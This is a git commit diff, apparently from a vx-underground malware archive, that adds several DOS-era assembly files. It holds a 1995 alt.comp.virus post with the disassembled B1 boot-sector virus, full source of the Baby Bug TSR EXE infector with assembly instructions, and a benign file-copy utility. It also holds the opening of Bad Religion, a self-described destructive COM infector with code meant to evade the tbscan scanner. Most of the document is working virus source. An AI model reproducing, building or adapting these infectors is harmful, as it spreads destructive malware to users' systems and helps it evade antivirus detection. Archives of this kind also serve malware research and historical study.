re-organize

push
This commit is contained in:
vxunderground
2022-08-21 04:07:57 -05:00
parent 74dbd37f30
commit 4b9382ddbc
1392 changed files with 607600 additions and 607600 deletions
+362
View File
@@ -0,0 +1,362 @@
From smtp Tue Feb 7 13:16 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Tue, 7 Feb 95 13:16 EST
Received: by lynx.dac.neu.edu (8.6.9/8.6.9)
id NAA01723 for joshuaw@pobox.jwu.edu; Tue, 7 Feb 1995 13:19:13 -0500
Date: Tue, 7 Feb 1995 13:19:13 -0500
From: lynx.dac.neu.edu!ekilby (Eric Kilby)
Content-Length: 10347
Content-Type: binary
Message-Id: <199502071819.NAA01723@lynx.dac.neu.edu>
To: pobox.jwu.edu!joshuaw
Subject: (fwd) B1
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.bluesky.net!news.sprintlink.net!uunet!ankh.iia.org!danishm
From: danishm@iia.org ()
Newsgroups: alt.comp.virus
Subject: B1
Date: 5 Feb 1995 22:05:37 GMT
Organization: International Internet Association.
Lines: 330
Message-ID: <3h3i3h$v4@ankh.iia.org>
NNTP-Posting-Host: iia.org
X-Newsreader: TIN [version 1.2 PL2]
Here is the B1 virus:
PAGE 59,132
; Disassembled using sourcer
;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
;[[ [[
;[[ B1 [[
;[[ [[
;[[ Created: 8-Jan-95 [[
;[[ Version: [[
;[[ Code type: zero start [[
;[[ Passes: 5 Analysis Options on: none [[
;[[ [[
;[[ [[
;[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[
data_1e equ 413h ; (0000:0413=7Fh)
data_2e equ 46Dh ; (0000:046D=17E1h)
data_3e equ 4Ch ; (0006:004C=0DAh)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 0
virus proc far
start:
jmp short loc_2 ; (0040)
db 90h, 00h, 4Dh, 4Dh, 49h, 00h
db 33h, 2Eh, 33h, 00h, 02h, 01h
db 01h, 00h, 02h,0E0h, 00h, 40h
db 0Bh,0F0h, 09h, 00h, 12h, 00h
db 02h, 00h
db 19 dup (0)
db 12h, 00h, 00h, 00h, 00h, 01h
db 00h,0FAh, 33h,0C0h, 8Eh,0D0h
db 0BCh, 00h, 7Ch, 16h, 07h
loc_2:
push cs
call sub_1 ; (00EF)
push ax
shr ax,1 ; Shift w/zeros fill
dec ah
jz loc_3 ; Jump if zero
jmp loc_14 ; (01BA)
loc_3:
push bx
push cx
push dx
push es
push si
push di
push ds
push bp
mov bp,sp
or ch,ch ; Zero ?
jnz loc_5 ; Jump if not zero
shl al,1 ; Shift w/zeros fill
jc loc_4 ; Jump if carry Set
call sub_6 ; (0190)
call sub_4 ; (017B)
jc loc_7 ; Jump if carry Set
call sub_2 ; (0127)
jz loc_4 ; Jump if zero
call sub_6 ; (0190)
call sub_3 ; (013B)
jz loc_5 ; Jump if zero
inc ah
call sub_4 ; (017B)
jc loc_5 ; Jump if carry Set
call sub_5 ; (0182)
call sub_6 ; (0190)
inc ah
call sub_4 ; (017B)
loc_4:
call sub_7 ; (019E)
or ch,dh
dec cx
jnz loc_5 ; Jump if not zero
call sub_6 ; (0190)
call sub_4 ; (017B)
jc loc_7 ; Jump if carry Set
call sub_2 ; (0127)
jnz loc_5 ; Jump if not zero
call sub_7 ; (019E)
call sub_3 ; (013B)
dec byte ptr [bp+10h]
jz loc_6 ; Jump if zero
mov al,1
call sub_4 ; (017B)
jc loc_7 ; Jump if carry Set
call sub_7 ; (019E)
add bx,di
inc cl
jmp short loc_6 ; (00BA)
loc_5:
call sub_7 ; (019E)
loc_6:
call sub_4 ; (017B)
loc_7:
pushf ; Push flags
pop bx
mov [bp+16h],bx
xchg ax,[bp+10h]
shr ah,1 ; Shift w/zeros fill
jnc loc_9 ; Jump if carry=0
xor ax,ax ; Zero register
mov ds,ax
mov ax,ds:data_2e ; (0000:046D=17E1h)
and ax,178Fh
jnz loc_9 ; Jump if not zero
call sub_6 ; (0190)
loc_8:
push ax
call sub_4 ; (017B)
xor cx,0FFC0h
nop ;*ASM fixup - sign extn byte
shl ax,1 ; Shift w/zeros fill
pop ax
jnc loc_8 ; Jump if carry=0
loc_9:
pop bp
pop ds
pop di
pop si
pop es
pop dx
pop cx
pop bx
pop ax
iret ; Interrupt return
virus endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_1 proc near
mov bx,44h
mov dx,80h
mov si,data_1e ; (0000:0413=7Fh)
xor di,di ; Zero register
mov ds,di
dec word ptr [si]
lodsw ; String [si] to ax
pop si
mov cl,6
shl ax,cl ; Shift w/zeros fill
mov es,ax
sub si,bx
push si
push ax
mov ax,1AEh
push ax
push cs
push si
push cs
pop ds
call sub_5 ; (0182)
mov ds,cx
mov si,data_3e ; (0006:004C=0DAh)
mov cl,2
rep movsw ; Rep when cx >0 Mov [si] to es:[di]
mov [si-4],bx
mov [si-2],es
pop bx
pop es
retf ; Return far
sub_1 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_2 proc near
cld ; Clear direction
push cs
pop ds
xor si,si ; Zero register
mov di,bx
mov cl,40h ; '@'
push si
push di
add si,cx
add di,cx
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
pop di
pop si
retn
sub_2 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_3 proc near
push ax
xor dh,dh ; Zero register
test dl,80h
jz loc_10 ; Jump if zero
mov cx,11h
jmp short loc_11 ; (0175)
loc_10:
mov ax,[di+11h]
mov cl,4
shr ax,cl ; Shift w/zeros fill
mov cx,ax
mov ax,[di+16h]
shl ax,1 ; Shift w/zeros fill
jc loc_12 ; Jump if carry Set
add ax,cx
jc loc_12 ; Jump if carry Set
xor cx,cx ; Zero register
cmp ah,[di+18h]
jae loc_12 ; Jump if above or =
div byte ptr [di+18h] ; al,ah rem = ax/data
xchg cl,ah
cmp ah,[di+1Ah]
jae loc_12 ; Jump if above or =
div byte ptr [di+1Ah] ; al,ah rem = ax/data
mov ch,al
mov dh,ah
inc cx
loc_11:
pop ax
retn
loc_12:
xor cx,cx ; Zero register
jmp short loc_11 ; (0175)
sub_3 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_4 proc near
pushf ; Push flags
call dword ptr cs:[1BCh] ; (7379:01BC=0D79h)
retn
sub_4 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_5 proc near
cld ; Clear direction
movsw ; Mov [si] to es:[di]
mov cx,17Ch
add si,3Eh
add di,3Eh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
retn
sub_5 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_6 proc near
push cs
mov ax,200h
mov bx,ax
xor cx,cx ; Zero register
xor dh,dh ; Zero register
inc cx
inc ax
pop es
retn
sub_6 endp
;__________________________________________________________________________
; SUBROUTINE
;\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
sub_7 proc near
mov ax,[bp+10h]
mov bx,[bp+0Eh]
mov cx,[bp+0Ch]
mov dx,[bp+0Ah]
mov es,[bp+8]
retn
sub_7 endp
db 41h ; Inc cx ?
loc_13:
mov ax,201h
int 13h ; Disk dl=drive a ah=func 02h
; read sectors to memory es:bx
xor dl,80h
jz loc_13 ; Jump if zero
retf ; Return far
loc_14:
pop ax
;* jmp far ptr loc_1 ;*(000A:0D79)
db 0EAh, 79h, 0Dh, 0Ah, 00h
db 0Dh, 0Ah, 'Disk Boot failure', 0Dh
db 0Ah, 0
db 'IBMBIO COMIBMDOS COM'
db 18 dup (0)
db 55h,0AAh
seg_a ends
end start
ls virus.asm
ls virus.asm
--
Eric "Mad Dog" Kilby maddog@ccs.neu.edu
The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu
Student at the Northeatstern University College of Computer Science
"I Can't Believe It's Not Butter"
@@ -0,0 +1,305 @@
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Baby Bug ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Because in 29A#2 it wasn't going to be published any virus originally wri-
; tten by me and i did not like that, taking advantage of a little last-hour
; delay in the release of the magazine and of a rainy afternoon i decided to
; code this little virus. It is a 407 byte-long TSR EXE infector, which uses
; a pretty unusual code in order to process the EXE header... and this code,
; as you may imagine, takes less bytes than the standard one :)
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m babybug.asm
; tlink babybyg.obj
.286
baby segment
assume cs:baby, ds:baby, es:baby, ss:baby
org 0
VIRUS_SIZE = end_virus - start
VIRUS_MEM_SIZE = memsize - start
VIR_PARAG = (VIRUS_MEM_SIZE + 15) / 16 + 1
start:
delta_ofs equ word ptr $+1
mov si,0 ; mov si,delta_ofs
push ds
push es
mov ax,ds
add ax,10h
add cs:[si+f_relocs],ax ; Relocate host CS & SS
add cs:[si+f_reloss],ax
mov ax,0BAB1h ; Resident check
int 21h
cmp ax,0BA03h ; Already resident?
je exec_host ; Yes? then jmp
mov ax,ds
dec ax
mov ds,ax
mov bx,ds:[0003]
sub bx,VIR_PARAG+1
mov ah,4Ah
int 21h ; Adjust current block
mov ah,48h
mov bx,VIR_PARAG
int 21h ; Get memory
mov es,ax
push cs
pop ds
xor di,di
mov cx,VIRUS_SIZE
rep movsb ; Copy virus to allocated mem
push es
push offset(mem_copy)
retf
db '[Baby Bug, Tcp/29A]'
mem_copy:
push cs
pop ds
dec ax
mov es,ax
mov word ptr es:[0001],8 ; DOS MCB
mov ax,3521h ; Read int 21h
int 21h
mov [di],bx ; Store it
mov [di+2],es
mov dx,offset(vir_21h) ; Virus int 21h
mov ah,25h
int 21h
exec_host:
pop es
pop ds
cli
db 68h ; push f_reloss
f_reloss dw 0FFF0h
pop ss
f_exesp equ word ptr $+1
mov sp,offset(memsize) ; mov sp,f_exesp
sti
db 0EAh ; jmp host entry point
f_exeip dw 0
f_relocs dw 0FFF0h
vir_21h:
cmp ax,0BAB1h ; Resident check?
jne check_exec ; No? then jmp
int_24h:
mov al,3
iret
check_exec:
cmp ax,4B00h ; Exec file?
je process_file ; Yes? then jmp
jmp jmp_real_21
process_file:
pusha
push ds
push es
mov ax,3524h
int 21h ; Read int 24h
push es
push bx
mov ah,25h
push ax
push ds
push dx
push cs
pop ds
mov dx,offset(int_24h)
int 21h ; Set virus int 24h
pop dx
pop ds
mov ax,4300h
push ax
int 21h ; Read file attributes
pop ax
inc ax
push ax
push cx
push ds
push dx
xor cx,cx
int 21h ; Reset file attributes
jnc open_file
jmp_r_attr:
jmp restore_attr
open_file:
mov ax,3D02h
int 21h ; Open file I/O
jc jmp_r_attr
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h ; Get file date/time
push ax
push cx
push dx
mov ah,3Fh
mov dx,offset(file_header)
mov cx,18h
int 21h ; Read file header
mov si,dx
stc
lodsw ; Signature
cmp ax,'MZ' ; EXE?
je infect_exe ; Yes? then jmp
cmp ax,'ZM' ; EXE?
jne jmp_r_datetime ; Yes? then jmp
infect_exe:
lodsw ; Part page
xchg ax,bp
lodsw ; Number of 512 bytes pages
or bp,bp
jz no_sub_page
dec ax
no_sub_page:
mov cx,512
mul cx
add ax,bp ; Calculate file size
adc dx,0
push ax ; Save it
push dx
lodsw ; Relocation items
lodsw ; Header size
xchg ax,bp
lodsw ; Min. memory
lodsw ; Max. memory
mov di,offset(f_reloss)
movsw ; SS
scasw ; DI+2
movsw ; SP
scasw ; DI+2
lodsw ; checksum
movsw ; IP
xchg ax,dx
lodsw ; CS
stosw
cmp ax,dx ; checksum == CS? infected?
pop dx
pop ax
je restore_datetime ; Yes? ten jmp
push bp
push ax
push dx
mov ax,4202h
xor cx,cx
cwd
int 21h ; Lseek end of file
pop cx
pop bp
cmp ax,bp ; Overlays?
pop bp
jmp_r_datetime:
jne restore_datetime ; Yes? then jmp
cmp dx,cx ; Overlays?
jne restore_datetime ; Yes? then jmp
push ax
push dx
mov cx,16 ; Calculate virus CS, IP
div cx
sub ax,bp
std
mov di,si
scasw
stosw ; CS
xchg ax,dx
stosw ; IP
mov delta_ofs,ax
xchg ax,dx
stosw ; Checksum = CS (infection mark)
xchg ax,dx
mov ax,VIR_PARAG*16 ; SP
stosw
xchg ax,dx
stosw ; SS
cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it
cmpsw ; doesn't roq... :)
cmpsw
cmpsw
pop dx
pop ax
add ax,VIRUS_SIZE ; Calculate number of pages
adc dx,0
mov cx,512
div cx
or dx,dx
jz no_inc_pag
inc ax
no_inc_pag:
stosw ; Number of pages
xchg ax,dx
stosw ; Bytes in last page
mov ah,40h
cwd
mov cx,VIRUS_SIZE
int 21h ; Append virus body to file
jc restore_datetime
mov ax,4200h
mov cx,dx
int 21h ; Lseek begin of file
mov ah,40h
mov dx,di
mov cx,18h
int 21h ; Write new header to file
restore_datetime:
pop dx
pop cx
pop ax
inc ax ; 5701h
int 21h ; Restore date & time
mov ah,3Eh
int 21h ; Close file
restore_attr:
pop dx
pop ds
pop cx
pop ax
int 21h ; Restore attributes
pop ax
pop dx
pop ds
int 21h ; Restore int 24h
pop es
pop ds
popa
jmp_real_21:
db 0EAh ; jmp to int 21h
end_virus:
ofs_i21 dw ?
seg_i21 dw ?
file_header:
signature dw ?
part_page dw ?
pages dw ?
relo_items dw ?
hdrsize dw ?
mim_mem dw ?
max_mem dw ?
reloss dw ?
exesp dw ?
checksum dw ?
exeip dw ?
relocs dw ?
memsize:
baby ends
end start
; Baby Bug, by Tcp/29A
; (c) 1997, Tcp/29A (tcp@cryogen.com)
+364
View File
@@ -0,0 +1,364 @@
BAC segment para public 'code'
assume cs:BAC, ds:BAC, es:BAC, ss:NOTHING
org 100h ; .COM format
BEGIN:
jmp CODE_START ; Jump around data declarations
DECLARE: ; Messages, Storage Areas, Equates
COPYRIGHT db 'BACopy (C) 1985, Dickinson Associates Inc.'
db 13,10,'$'
PATH_FILE_LEN equ 77 ;Length = 1, Path = 63, FileName = 12, 0 = 1
SOURCE_FILE db PATH_FILE_LEN dup (0)
TARGET_PATH db PATH_FILE_LEN dup (0)
SOURCE_END dw 0
TARGET_END dw 0
SOURCE_HANDLE dw 0
TARGET_HANDLE dw 0
SOURCE_DTA db 44 dup(0)
TARGET_DTA db 44 dup(0)
VALID_IN db 'abcdefghijklmnopqrstuvwxyz,;=',9
VALID_OUT db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',4 dup(32)
VALID_NUM equ $ - VALID_OUT + 1
BLKSIZE dw 0
LAST_BLOCK db 0
EVENT_FLAG db 0
ERR_HEAD db 10,13,'BACopy Error - $'
NO_PARMS db 'Correct Syntax is:',13,10,10
db 'BACopy [d:][source_path]source_filename[.ext] [d:][target_path]$'
FILE_NOT_FOUND db 'File Not Found$'
SOURCE_ERROR db 'Opening Source File$'
CREATE_ERROR db 'Creating Target File$'
TARGET_FULL db '!!',10,10,13,'Target Disk is Full',13,10,10
db 'Insert New Disk and Press [Enter]',7,'$'
ERR_TAIL db 10,10,13,' . . . Aborting',10,13,13,'$'
CONFIRM_MSG_1 db ' . . $'
CONFIRM_MSG_2 db 'BACopied to . . $'
END_LINE db 10,13,'$'
NOTHING_TO_DO db 13,10,'No Files Needed to be BACopied',13,10,'$'
;
CODE_START: ; Parse command line into source & target parameters
mov dx,offset COPYRIGHT ; Display copyright notice
mov ah,9h
int 21h
mov si,80h ; PSP parameter byte count pointer
mov cl,[si] ; Move byte count to CL
xor ch,ch ; Zero CH
jcxz NO_PARMS_PASSED ; If CX is zero, there are no parameters
mov dx,cx ; Save byte count in dx
inc si ; Point to parameter area
mov di,si ; Copy SI to DI for cleanup routine
cld ; Set direction flag to forward
CLEAN_PARMS: ; Change valid delimiters to blanks, lower to upper case
lodsb ; Load each character to AL
push di ; Save DI on stack
mov di,offset VALID_IN ; Point to table of valid inputs
push cx ; Save CX on stack
mov cx,VALID_NUM ; Set CX to number of inputs to look for
repne scasb ; See if any are in AL
jcxz CLEAN_END ; If not, change nothing
mov bx,VALID_NUM ; Set up BX to point to valid output
sub bx,cx ; This will leave BX one off
mov al,VALID_OUT [bx - 1] ; Load the valid output to AL
CLEAN_END:
pop cx ; Restore CX
pop di ; Restore DI
stosb ; Store modified AL back to PSP
loop CLEAN_PARMS ; Loop until CX is zero
;
mov cx,dx ; Restore number of bytes in PSP to CX
mov dx,2 ; Set DX to look for up to 2 parameters
mov bx,offset SOURCE_FILE ; Set BX to address of 1st parameter
mov al,' ' ; Set up to scan for first non-blank
mov di,81h ; Set DI to PC-DOS parameter pointer
FIND_PARMS: ; Start looking for parameters, load to program storage
repe scasb ; Scan while blanks
mov si,di ; Set SI to second non-blank byte
dec si ; Adjust it to first non-blank byte
inc cx ; Adjust CX to compensate
jcxz PARMS_LOADED ; If CX is zero, no parameters left
mov di,bx ; Set DI to parameter hold area
mov ax,cx ; Store CX to first byte of hold area
stosb ; DI is adjusted to second byte here
STORE: lodsb ; Load each byte to AL
cmp al,' ' ; Is it a blank?
jz END_STORE ; Yes, end of this parameter
stosb ; No, store the byte to hold area
END_STORE:
loopnz STORE ; Keep looking
sub [bx],cx ; Store number of bytes in each
jcxz PARMS_LOADED ; If CX is zero, no more parameters
dec byte ptr [bx] ; parameter to first byte of hold area
mov di,si ; Set up to scan for next non-blank
dec di ; Adjust DI to point to the blank
inc cx ; Adjust CX to compensate
dec dx ; Decrement DX counter
cmp dx,0 ; Is DX zero?
jz PARMS_LOADED ; Yes, all expected parameters loaded
add bx,PATH_FILE_LEN ; No, point to next part of hold area
jmp FIND_PARMS ; Go back and look for more
PARMS_LOADED: ; All parameters are loaded
cmp SOURCE_FILE[0],0 ; If there are no bytes in the
ja FIX_UP ; SOURCE_FILE, no parameters present
NO_PARMS_PASSED: ; Exit with an error if there
mov dx,offset NO_PARMS ; are no parameters passed
jmp ERROR_EXIT
FIX_UP: ; Fix SOURCE_FILE and TARGET_PATH
mov si,offset SOURCE_FILE ; For Search calls
lodsb ; Get Number of bytes
xor ah,ah ; Zero high byte of AX
mov di,si ; Move SI to DI for scan
add di,ax ; Start scan at end of parameter
dec di ; Adjust DI
mov cx,ax ; Set CX to number of bytes
mov al,'\' ; Scan for the last '\'
std ; Set direction flag to reverse
repnz scasb ; Scan while not '\'
jnz NO_SOURCE_DIR ; If Zero Flag not set, '\' not found
add di,2 ; Add 2 to DI to point to file name
jmp SOURCE_FIXED ; position
NO_SOURCE_DIR: ; No source directory was specified
add di,1 ; Adjust DI
cmp SOURCE_FILE[2],':' ; Check for specified disk drive
jne SOURCE_FIXED ; None present, we're done
mov di,offset SOURCE_FILE[3]; Yes, set DI to point to first byte
SOURCE_FIXED: ; after ':'
mov SOURCE_END,di ; Move DI to SOURCE_END pointer
;
cld ; Set direction flag to forward
mov si,offset TARGET_PATH ; Set up to look for '\' present
lodsb ; Get number of bytes
cmp al,0 ; If it's zero, no target specified
je NO_TARGET
xor ah,ah ; Zero high byte of AX
add si,ax ; Add it to SI to point to end
dec si ; Decrement SI to adjust
lodsb ; Look at last byte
mov di,si ; Copy SI to DI
cmp al,'\' ; Is last byte a '\'?
je TARGET_FIXED ; Yes, everything's fine
cmp TARGET_PATH[0],2 ; If TARGET_PATH is 2 bytes long and
jne STORE_SLASH ; is a disk drive specification,
cmp TARGET_PATH[2],':' ; let it default to the current
je TARGET_FIXED ; directory.
STORE_SLASH: ; Place a '\' at the end of
mov al,'\' ; TARGET_PATH if user did
stosb ; not
TARGET_FIXED:
mov TARGET_END,di ; Move DI to TARGET_END pointer
jmp BUFFER_SIZE
NO_TARGET: ; Set up to allow target path default
mov TARGET_END,offset TARGET_PATH + 1 ; to current path
BUFFER_SIZE: ; Compute size of file buffer
mov ax,0fdffh ; Leave plenty of room in segment
mov dx,offset FILE_BUFFER ; for stack & set DX to end of code
sub ax,dx ; Subtract
mov BLKSIZE,ax ; Save result in BLKSIZE
FIND_FILE: ; Find first source file
xor ax,ax ; Request to use SOURCE_DTA
mov ah,1ah ; to house FCB for SOURCE_FILE
mov dx,offset SOURCE_DTA
int 21h ; Call PC-DOS
mov dx,offset SOURCE_FILE + 1 ; DX points to SOURCE_FILE
mov ah,4eh ; Request function 4EH (find 1st file)
mov cx,0 ; Set CX to zero for normal files only
int 21h ; Call PC-DOS
jnc FOUND_FILE ; If no error, first file found
mov dx,offset FILE_NOT_FOUND; If no files found, exit
jmp ERROR_EXIT ; program with error message
FOUND_FILE:
mov LAST_BLOCK,0 ; Initalize last block read flag
mov si,offset SOURCE_DTA+30 ; SI points to source file name in DTA
mov di,SOURCE_END ; DI points to end of source path
push si ; Save pointer to source file name
mov cx,13 ; DTA will have 13 bytes
rep movsb ; Move name bytes to SOURCE_FILE
mov di,TARGET_END ; DI points to end of target path
pop si ; Recover pointer to source file name
mov cx,13 ; DTA will have 13 bytes
rep movsb ; Move file name bytes to TARGET_PATH
FIND_TARGET: ; Find matching target file
mov ah,1ah ; Request to use TARGET_DTA
xor al,al ; to house FCB for TARGET_PATH
mov dx,offset TARGET_DTA
int 21h ; Call PC-DOS
mov ah,4eh ; Request find 1st file for target
mov dx,offset TARGET_PATH+1
mov cx,0 ; Set CX to zero for normal files only
int 21h ; Call PC-DOS
jc OPEN_SOURCE ; If not found, bypass date & time check
CHECK_TIME_DATE: ; Check time & date stamps in DTAs
mov si,offset SOURCE_DTA+24 ; Load source file date stamp to AX
lodsw
mov dx,ax ; Save in DX
mov si,offset TARGET_DTA+24 ; Load target file date stamp to AX
lodsw
cmp dx,ax ; If Source file newer, jump
ja OPEN_SOURCE ; to OPEN_SOURCE
jne DONT_COPY ; If Source file older, don't copy it
mov si,offset SOURCE_DTA+22 ; Otherwise,
lodsw ; load source time stamp to AX
mov dx,ax ; Save in DX
mov si,offset TARGET_DTA+22 ; Load target time stamp to AX
lodsw
cmp dx,ax ; If Source file newer, jump
ja OPEN_SOURCE ; to OPEN_SOURCE
jmp DONT_COPY
DONT_COPY: ; Otherwise,
call CLOSE_ALL ; Close all files
jmp NEXT_FILE ; Check for next file
OPEN_SOURCE:
mov ah,3dh ; Request Open Source File
mov dx,offset SOURCE_FILE+1 ; DX points to source file path name
mov al,0 ; with read permission only
int 21h ; Call PC-DOS
mov SOURCE_HANDLE,ax ; Save handle in memory
jnc CREATE_TARGET ; If no carry, open was good
mov dx,offset SOURCE_ERROR ; Otherwise, exit with error
mov SOURCE_HANDLE,0 ; Make sure CLOSE_ALL ignores handle
jmp ERROR_EXIT
CREATE_TARGET:
xor ax,ax
mov ah,3ch ; Request create & open a file
mov dx,offset TARGET_PATH+1 ; named the target file
xor cx,cx ; with normal attribute
int 21h ; Call PC-DOS
mov TARGET_HANDLE,ax ; Save target handle
jnc PROCEED_TO_COPY ; If no carry, create / open is ok
mov dx,offset CREATE_ERROR ; Otherwise, exit with an error
mov TARGET_HANDLE,0 ; Make sure CLOSE_ALL ignores target
jmp ERROR_EXIT
PROCEED_TO_COPY: ; The heart of the matter
mov si,offset SOURCE_FILE+1 ; Point to source file
START1: lodsb ; Load each byte to AL
cmp al,0 ; If ASCII 0, end of field
je DOTS
mov dl,al ; Copy byte to DL for funciton 2H
mov ah,2h ; Request function 2H
int 21h ; Call PC-DOS
jmp START1 ; Get next character
DOTS: mov ah,9h ; Confirm start of task
mov dx,offset CONFIRM_MSG_1
int 21h
KEEP_COPYING:
mov ah,3fh ; Request read block of data
mov cx,BLKSIZE ; BLKSIZE bytes long
mov bx,SOURCE_HANDLE ; from source file
mov dx,offset FILE_BUFFER ; into buffer
int 21h ; Call PC-DOS
cmp ax,0 ; If AX is 0, no bytes were
je FINISH ; read, and we're done
mov cx,ax ; Move AX to CX for write call (below)
cmp cx,BLKSIZE ; Check number of bytes read against
je MORE_TO_COME ; request. If equal, we got them all,
mov LAST_BLOCK,1 ; otherwise, it's the last block of file
MORE_TO_COME: ;
push cx ; Save requested write count on stack
mov ah,40h ; Request write block of data
mov bx,TARGET_HANDLE ; to target file
mov dx,offset FILE_BUFFER ; from file buffer
int 21h ; Call PC-DOS
pop cx ; Recover requested write count
cmp ax,cx ; If CX equals AX,
je WRITE_OK ; write was successful,
DISK_FULL:
call CLOSE_ALL ; Otherwise disk is full -- close files
mov ah,41h ; Request erase file
mov dx,offset TARGET_PATH+1 ; for incomplete target.
int 21h ; Call PC-DOS
mov dx,offset TARGET_FULL
mov ah,9h
int 21h
READ_KEYBOARD: ; Prompt requested [Enter] key
mov ah,8h ; Make sure [Ctrl]-[Break] is detected
int 21h ; Call PC-DOS for key
cmp al,13 ; Check for [Enter]
jne READ_KEYBOARD ; (no extended codes are 13)
mov cx,2
END_FULL:
mov dx,offset END_LINE ; Send a new line to screen
mov ah,9h
int 21h
loop END_FULL
jmp FOUND_FILE ; Re-start from FOUND_FILE:
WRITE_OK:
cmp LAST_BLOCK,1 ; If this is the last block,
je FINISH ; we're done
jmp KEEP_COPYING ; Otherwise, keep going.
FINISH: ; Force target time & date stamps
mov ah,57h ; to equal source, close files
mov al,0 ; Request get time and date stamos
mov bx,SOURCE_HANDLE ; for source file
int 21h ; DX & CX contain data
mov ah,57h ; Request set date and time
mov al,1 ; to force target file to
mov bx,TARGET_HANDLE ; source stamp
int 21h ; Call PC-DOS
call CLOSE_ALL ; Go close all files
mov dx,offset CONFIRM_MSG_2 ; Confirm completion of task
mov ah,9h ; Request function 9H
int 21h ; Call PC-DOS
mov si,offset TARGET_PATH+1 ; Point to source file
START2: lodsb ; Load each byte to AL
cmp al,0 ; If ASCII 0, end of field
je CR_LF
mov dl,al ; Copy byte to DL for funciton 2H
mov ah,2h ; Request function 2H
int 21h ; Call PC-DOS
jmp START2 ; Get next character
CR_LF: mov dx,offset END_LINE ; Terminate display line
mov ah,9h ; Request function 9H
int 21h
mov EVENT_FLAG,1 ; Set flag to indicate file was copied
NEXT_FILE: ; Go Look for next file
xor ax,ax
mov ah,1ah ; Request to use SOURCE_DTA
mov dx,offset SOURCE_DTA ; to house FCB for SOURCE_FILE
int 21h ; Call PC-DOS
mov ah,4fh ; Request find next source file
mov cx,0 ; Normal files only
int 21h ; Call PC-DOS
jnc FOUND_ANOTHER ; No error, another file was found
jmp END_OK ; Error, we're done finding files
FOUND_ANOTHER:
jmp FOUND_FILE ; Go process next file
END_OK: cmp EVENT_FLAG,1 ; Did anything happen?
je EXIT ; Yes, just exit
mov dx,offset NOTHING_TO_DO ; No, tell user that nothing happened
mov ah,9h
int 21h
EXIT: int 20h ; Exit to PC-DOS
ERROR_EXIT: ; Print Error Message and Exit
push dx ; Save error message pointer on stack
mov ah,9 ; Display error header
mov dx,offset ERR_HEAD
int 21h
mov ah,9 ; Display error message
pop dx
int 21h
mov ah,9 ; Display error tail
mov dx,offset ERR_TAIL
call CLOSE_ALL
int 21h
int 20h ; Exit to PC-DOS
CLOSE_ALL proc
cmp SOURCE_HANDLE,0 ; Check for valid SOURCE_HANDLE
je CLOSE_TARGET ; None, then go close target
mov ah,3eh ; Request close file
mov bx,SOURCE_HANDLE ; for source handle
int 21h ; Call PC-DOS
mov SOURCE_HANDLE,0 ; Refresh handle
CLOSE_TARGET:
cmp TARGET_HANDLE,0 ; Check for valid TARGET_HANDLE
je CLOSE_RETURN ; None, then return
mov bx,TARGET_HANDLE ; Request close file
mov ah,3eh ; for target handle
int 21h ; Call PC-DOS
mov TARGET_HANDLE,0 ; Refresh handle
CLOSE_RETURN:
ret
CLOSE_ALL endp
FILE_BUFFER label word
BAC ends
end BEGIN

@@ -0,0 +1,218 @@
; ------------------------------------------------------------------------------
;
; - Bad Religion -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
;
; ------------------------------------------------------------------------------
; þ Undetectable/Destructive COM-infector þ
; ------------------------------------------------------------------------------
.model tiny
.radix 16
.code
org 100h
start:
storbuf db 00,00,00,00 ; for first generation only!
v_start:
mov sp,102h ; get the delta offset so tbscan cant
call get_delta ; flag it as flexible entry point
get_delta: ;
mov bp,word ptr ds:[100h]
mov sp,0fffeh
sub bp,offset get_delta
go_back:
mov ax,0305h ; this code was included to avoid detection
xor bx,bx ; from tbscan. The vsafe disabeling code can
int 16h ; be used as well, but f-prot heuristics
; complains about it.
call en_de_crypt ; decrypt the virus
jmp short real_start ; and continue...
